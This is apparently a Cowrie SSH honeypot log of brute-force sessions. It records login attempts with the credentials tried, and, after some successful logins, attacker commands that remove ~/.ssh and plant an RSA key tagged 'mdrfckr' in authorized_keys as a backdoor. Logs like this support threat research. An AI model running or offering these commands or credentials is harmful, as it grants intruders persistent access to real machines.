{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:44.553159Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ZAQ12wsx","message":"login attempt [root/ZAQ12wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:45.458322Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:45.930113Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:45.933404Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:45.937346Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:46.158548Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:46.629050Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:46.632575Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:46.855176Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:46.858575Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.132.215","src_port":48500,"dst_ip":"10.17.0.5","dst_port":22,"session":"2569e4b8278f","protocol":"ssh","message":"New connection: 152.32.132.215:48500 (10.17.0.5:22) [session: 2569e4b8278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:47.069656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:47.074076Z","src_ip":"152.32.132.215","session":"2569e4b8278f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:47.293723Z","src_ip":"152.32.132.215","session":"2569e4b8278f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:48.204847Z","src_ip":"152.32.132.215","session":"2569e4b8278f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:49.427940Z","src_ip":"152.32.132.215","session":"2569e4b8278f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.132.215","src_port":48506,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b9d822773b","protocol":"ssh","message":"New connection: 152.32.132.215:48506 (10.17.0.5:22) [session: 71b9d822773b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:49.633974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:49.640047Z","src_ip":"152.32.132.215","session":"71b9d822773b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:49.852864Z","src_ip":"152.32.132.215","session":"71b9d822773b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:50.739428Z","src_ip":"152.32.132.215","session":"71b9d822773b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:50.955002Z","src_ip":"152.32.132.215","session":"71b9d822773b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:25:50.960975Z","src_ip":"152.32.132.215","session":"a76292e8571c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":39782,"dst_ip":"10.17.0.5","dst_port":22,"session":"2704e888d90d","protocol":"ssh","message":"New connection: 92.118.39.72:39782 (10.17.0.5:22) [session: 2704e888d90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:48.709265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:48.717454Z","src_ip":"92.118.39.72","session":"2704e888d90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:48.815408Z","src_ip":"92.118.39.72","session":"2704e888d90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:49.250874Z","src_ip":"92.118.39.72","session":"2704e888d90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:50.358037Z","src_ip":"92.118.39.72","session":"2704e888d90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43732,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c1ca4b2770","protocol":"ssh","message":"New connection: 193.32.162.151:43732 (159.203.135.109:22) [session: d6c1ca4b2770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:53.309273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:53.313591Z","src_ip":"193.32.162.151","session":"d6c1ca4b2770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:53.422337Z","src_ip":"193.32.162.151","session":"d6c1ca4b2770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"user","message":"login attempt [mysql/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:53.744799Z","src_ip":"193.32.162.151","session":"d6c1ca4b2770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:26:54.854738Z","src_ip":"193.32.162.151","session":"d6c1ca4b2770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":41952,"dst_ip":"10.17.0.5","dst_port":22,"session":"245f0bbe9ba3","protocol":"ssh","message":"New connection: 171.25.158.70:41952 (10.17.0.5:22) [session: 245f0bbe9ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:09.432868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:09.436693Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:09.593545Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"20240808","message":"login attempt [root/20240808] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.109580Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.410542Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.413079Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.415916Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.526505Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.774742Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.778029Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:27:10.895498Z","src_ip":"171.25.158.70","session":"245f0bbe9ba3","protocol":"ssh"}
